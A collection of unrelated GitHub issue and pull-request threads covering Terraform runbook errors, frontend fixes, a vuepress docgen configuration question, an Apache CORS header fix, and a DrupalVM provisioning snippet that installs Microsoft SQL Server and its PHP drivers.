When running a plan for /tf/caf/examples/automation/104-automation-schedule-runbook/
I get the following error:
│ Error: Unsupported attribute
│
│   on ../modules/automation/automation_runbook/module.tf line 47, in locals:
│   47:   script_content = try(var.settings.script_file, null) != null ? file(var.settings.script_file) : var.settings.content
│     ├────────────────
│     │ var.settings is object with 8 attributes
│
│ This object does not have an attribute named "content".
╵
Terraform plan return code: 1
Error on or near line 386: Error running terraform plan; exiting with status 1

Could you please have a look @schoenr79? Thanks

I will take a look @arnaudlh

When running a plan for /tf/caf/examples/automation/104-automation-schedule-runbook/
I get the following error:
│ Error: Unsupported attribute
│
│   on ../modules/automation/automation_runbook/module.tf line 47, in locals:
│   47:   script_content = try(var.settings.script_file, null) != null ? file(var.settings.script_file) : var.settings.content
│     ├────────────────
│     │ var.settings is object with 8 attributes
│
│ This object does not have an attribute named "content".
╵
Terraform plan return code: 1
Error on or near line 386: Error running terraform plan; exiting with status 1

Could you please have a look @schoenr79? Thanks

I added a fix for this @arnaudlh

Thanks for the PR @schoenr79. Is there any chance you can look into the naming provider addition before we can merge this one? Thanks! Arnaud

Opened a PR-198 in the terraform-provider-azurecaf and added azurerm_automatoin_job_schedule naming resource

@arnaudlh @LaurentLesle could you guys estimate when this refactoring is going to be merged. I fixed all depended issues. And i think now it is time to put this to the next milestone. Or Do u have any doubts?
Best regards


Citation fix

Description
replaced links to reference pages with generic link.
Updated link to scaling case.py
Fixes #509
Type of change
Please delete options that are not relevant.

[x] Bug fix (non-breaking change which fixes an issue)

Scope

[x] This PR comprises a set of related changes with a common goal

If you cannot check the above box, please split your PR into multiple PRs that each have a common goal.
Checklist

[x] I ran ./mfc.sh format before committing my code
[x] This PR does not introduce any repeated code (it follows the DRY principle)
[x] I cannot think of a way to condense this code and reduce any introduced additional line count

you're missing many more references.

closing due to inactivity


Typescript Error When upgrade 1.79.11 -> 1.82.9

Current Behavior

Some spacing type and color tokens is the wrong type after the upgrade version. How to fix it?
The font size is working fine.
Expected Behavior
Type correct
Tamagui Version
1.82.9

Platform (Web, iOS, Android)
Expo native

Reproduction
Upgrade project to new version

System Info
No response

Can you repro on one of the starters


Documentation Chaos: Making a better sign up page

Describe the Documentation Update
Issue: Currently, the "Sign-Up" page is unresponsive when clicked, and nothing is being displayed. This is a critical functionality for user , and a non-working sign-up page can lead to loss of potential users.
Proposed Solution: I would like to fix this issue by ensuring that the "Sign-Up" page loads correctly and functions smoothly. Additionally, I plan to redesign the page to make it more user-friendly and visually appealing.
Add References or Examples

Confirm

[X] I understand that my update will add to the chaos and I'm okay with it
[X] I agree to follow this project's Code of Conduct
[X] I want to work on this documentation update
[X] I'm GSSOC'24 Extd registered Contributor
[X] I'm Hacktoberfest registered Contributor

Migrating to React, check #53

Actually migrating to React so no need to work on current codebase, you can propose your ideas when we completely migrateto React and #53 is closed

https://github.com/vansh-codes/ChaosWeb/tree/main/chaosweb-v%402
If you are interested you can let me know and start working on it, heres the link to react folder

@vansh-codes yes I'm. Can you add the the label of gssoc/hactoberfest and assign me this issue?

@Adrija05 Are you interested or shall I assign it to @sameer-soni  ??
Please respond withing 24hours

@vansh-codes yes I am. if this issue comes under hacktoberfest-accepted and gssoc.

you can assign this task to me...

Yes I will be working on it
On Sun, Oct 13, 2024, 7:29 PM SaanyaGarg5 @.***> wrote:

you can assign this task to me...
—
Reply to this email directly, view it on GitHub
https://github.com/vansh-codes/ChaosWeb/issues/68#issuecomment-2408990898,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/BAYQFASY2LRU62KVFNQLWJTZ3J4CLAVCNFSM6AAAAABPUZRRRGVHI2DSMVQWIX3LMV43OSLTON2WKQ3PNVWWK3TUHMZDIMBYHE4TAOBZHA
.
You are receiving this because you were mentioned.Message ID:
@.***>

Are you working on it or no @Adrija05  ??


MastForest: Ensure that the number of nodes is less than 2^30

The serialization format of MastForest introduced in #1370 implicitly assumes that the internal value of a MastNodeId fits in 30 bits. Hence, MastForest should enforce this constraint.

@plafer I would like to have a crack.
I'm assuming adding Impl TryFrom<u32> for MastNodeId { is appropriate.

Closed by #1394. Thank you again @sergerad!


Multiple Component Directories

Hi @f3ltron! 👋🏼
Quick question, our components live in a monorepo and are each in their own subdirectory. Is there a way to get all *.vue file in a directory instead of pointing to a single directory like the example?
packages
├── Alert
│   └── Alert.vue
│   └── Alert.spec.js
├── Button
│   └── Button.vue
│   └── Button.spec.js
├── Card
│   └── Card.vue
│   └── Card.spec.js

We're interested in trying out this plugin we just have a very specific codebase structure.
Thanks!

Hello ! Thank's for your issue and you interest !.
Just to be sure i understand.
Actually in docs
https://f3ltron.github.io/vuepress-plugin-docgen/guide/configuration.html#componentsdir
The logic behind is when you a folder after that i am using a regex that you can easy override in the configuration. By default it is **/*.vue.
After that the plugin create a tree of sub directories with 1 depth path.
packages
├── Alert
│   └── Alert.vue
│   └── Alert.spec.js
├── Button
│   └── Button.vue
│   └── Button.spec.js
├── Card
│   └── Card.vue
│   └── Card.spec.js

In your examples if you give
plugins: [
  // as we respect the naming convention vuepress-plugin-docgen you can juste docgen as name
  [ 'docgen',
    {
      componentsDir: path.join(__dirname, './packages'),
      regex: "**/*.vue" // this is the default config you can override here the regex
    }
  ]
]

In the doc generation you will now have something like:
Alert
│   └── Alert.vue
│   └── Alert.spec.js
├── Button
│   └── Button.vue
│   └── Button.spec.js
├── Card
│   └── Card.vue
│   └── Card.spec.js

Do I answer to your question ? If not tell me and try to explain a bit more or give me your repo i will have a look

@travispamaral
you can have a look in the example folder https://f3ltron.github.io/vuepress-plugin-docgen/components/
and here to check the implementation of the doc https://github.com/f3ltron/vuepress-plugin-docgen/tree/master/packages/examples

That does make sense! Is anything else needed to get docs generated? Will it automagically create them on docs:dev?

yes to make it work componentsDir is enough. in docs:dev you will have access to components.
if you want to navigate on it add to the nav config the path /components
If you want an example check the exanple in my last comment and check the config.
Actually I just see something missing if you are using locales but it is not your use case apparently. But i will work on it

@travispamaral tell me if all is good for you to close the issue :)

Yes I think so, I haven't had a chance to try it out but hopefully I can soon! Thanks again!

Cool thank's for using the plugin tell me if you any probleme huge features will come soon :)


Figure out CORS issue

This is a server side thing I'm 99% sure...

Fixed
with
 <Files "clientInfoData.json">
            # Insert stuff that applies to clientInfoData.json here
            Header set Access-Control-Allow-Origin "*"
 </Files>

in an apache2 vhost config file


feat: removes POC assets for Image and Select

Updates text on Select demo page
also reorder Select on the index page

:tada: This PR is included in version 1.7.0 :tada:
The release is available on:

GitHub release
npm package (@latest dist-tag)

Your semantic-release bot :package::rocket:


IMS COLLEGE

adding ims.edu.np

@Ripeshghimire First stage of verification passed, official domain is ims.edu.np as far as I verified. This is just an informational note. Pull request is still in the review. I appreciate your patience while waiting for the final decision.

what is the status of my pull request?

@Ripeshghimire Thank you for your patience while waiting for a review and processing your request. Pull request merged.


Hero Section and Vision Section using Pure Tailwind Css

I create this design with Pure Tailwind Css. I'm very close to this design.

Home Section (Hero Section)
Vision Section with Dynamic grid
Title and Arrow with separate components

Can you assign me to work this design ?

@mr-vijaychauhan yes, please. Go ahead!

ok

Try to fit the content in lesser width as in the website design. @mr-vijaychauhan

Ok I will try my best. can you add lable hacktoberfest ??


add Npm in strategies

Coverage decreased (-0.1%) to 67.742% when pulling 369b61665d7175da52c7979ab0d0ffdb6cf7d8f1 on yhirano55:add_npm into 497879ae86cc7e4933edb1ae6e36fd31c8617513 on sanemat:master.

Coverage decreased (-0.1%) to 67.742% when pulling 369b61665d7175da52c7979ab0d0ffdb6cf7d8f1 on yhirano55:add_npm into 497879ae86cc7e4933edb1ae6e36fd31c8617513 on sanemat:master.

Coverage decreased (-0.1%) to 67.742% when pulling 369b61665d7175da52c7979ab0d0ffdb6cf7d8f1 on yhirano55:add_npm into 497879ae86cc7e4933edb1ae6e36fd31c8617513 on sanemat:master.


Add blackcater profile

What type of PR is this? (check all applicable)

[x] 🚀 Added Name
[ ] ✨ Feature
[ ] ✅ Joined Community
[ ] 🌟 ed the repo
[ ] 🐛 Grammatical Error
[ ] 📝 Documentation Update
[ ] 🚩 Other

Description
Using Node.js to generate your own github profile readme.
Add Link of GitHub Profile
@Elon Tang(blackcater)

@abhisheknaiidu Done.


Adding the MSSQL driver support during Vagrant Up

Issue Type

Support Request

Your Environment
Vagrant 2.0.2
VirtualBox 5.2.6r120293
ansible <IP_ADDRESS>
  config file =
  configured module search path = Default w/o overrides

Your OS

macOS (10.12.6)

Summary
I am building a Drupal application that needs to connect with a MSSQL database for some data. I'm not quite sure how to tell DrupalVM to install the MSSQL driver according to Microsoft's instructions for Ubuntu at the following URL:
https://www.microsoft.com/en-us/sql-server/developer-get-started/php/ubuntu/
Starting with the section "Step 1.2 Install PHP and other required packages".
Thanks in advance.

Wow... uh, that's a lot of steps to get that working. Since Drupal VM doesn't officially support MSSQL, I'm going to close this issue—however, I'd suggest asking any follow-up questions in the Ubuntu stack exchange here: https://askubuntu.com
That community should be able to offer ample assistance in getting you started with this process. As far as Drupal VM goes, you can provision the VM (vagrant up or vagrant provision) then after that's done vagrant ssh in and run all the commands to complete the MSSQL stuff.
Or you could automate it so you can rebuild the VM from scratch whenever if you put all the relevant commands into a shell script or Ansible task file using post-provision scripts. Good luck!

For anyone who is interested I added the following to /provisioning/playbook.yml to install MSSQL Server and also the PHP drivers for MSSQL:
`

name: Install MSSQL Server and the PHP Driver for MSSQL Server
shell: |
curl https://packages.microsoft.com/keys/microsoft.asc | apt-key add -
curl https://packages.microsoft.com/config/ubuntu/16.04/mssql-server-2017.list | tee /etc/apt/sources.list.d/mssql-server-2017.list
curl https://packages.microsoft.com/config/ubuntu/16.04/prod.list | tee /etc/apt/sources.list.d/mssql-tools.list
apt-get update
SA_PASSWORD=Yukon900 ACCEPT_EULA=Y apt-get -y install mssql-server mssql-tools unixodbc-dev php-pear gcc g++ make autoconf libc-dev pkg-config unixodbc-dev
echo 'export PATH="$PATH:/opt/mssql-tools/bin"' >> /home/vagrant/.bash_profile
echo 'export PATH="$PATH:/opt/mssql-tools/bin"' >> /home/vagrant/.bashrc
echo 'export PATH="$PATH:/opt/mssql-tools/bin"' >> ~/.bash_profile
echo 'export PATH="$PATH:/opt/mssql-tools/bin"' >> ~/.bashrc
source ~/.bashrc
MSSQL_PID=Express SA_PASSWORD=Yukon900 ACCEPT_EULA=Y /opt/mssql/bin/mssql-conf setup
sqlcmd -S localhost -U sa -P Yukon900 -Q "CREATE DATABASE SampleDB;"
pecl install sqlsrv pdo_sqlsrv
echo "extension=pdo_sqlsrv.so" >> /etc/php/7.1/apache2/php.ini
echo "extension=sqlsrv.so" >> /etc/php/7.1/apache2/php.ini
echo "extension=pdo_sqlsrv.so" >> /etc/php/7.1/cli/php.ini
echo "extension=sqlsrv.so" >> /etc/php/7.1/cli/php.ini
echo "extension=pdo_sqlsrv.so" >> /etc/php/7.1/fpm/php.ini
echo "extension=sqlsrv.so" >> /etc/php/7.1/fpm/php.ini
`
Obviously it's a quick and dirty way of doing it, but I'm posting it here to hopefully start a discussion on getting implemented in a better way. But it does work.

Unfortunately, I got the below errors when I did php -v
PHP Warning:  PHP Startup: Unable to load dynamic library 'pdo_sqlsrv.so' (tried: /usr/lib/php/20190902/pdo_sqlsrv.so (/usr/lib/php/20190902/pdo_sqlsrv.so: undefined symbol: php_pdo_register_driver), /usr/lib/php/20190902/pdo_sqlsrv.so.so (/usr/lib/php/20190902/pdo_sqlsrv.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0

Warning: PHP Startup: Unable to load dynamic library 'pdo_sqlsrv.so' (tried: /usr/lib/php/20190902/pdo_sqlsrv.so (/usr/lib/php/20190902/pdo_sqlsrv.so: undefined symbol: php_pdo_register_driver), /usr/lib/php/20190902/pdo_sqlsrv.so.so (/usr/lib/php/20190902/pdo_sqlsrv.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0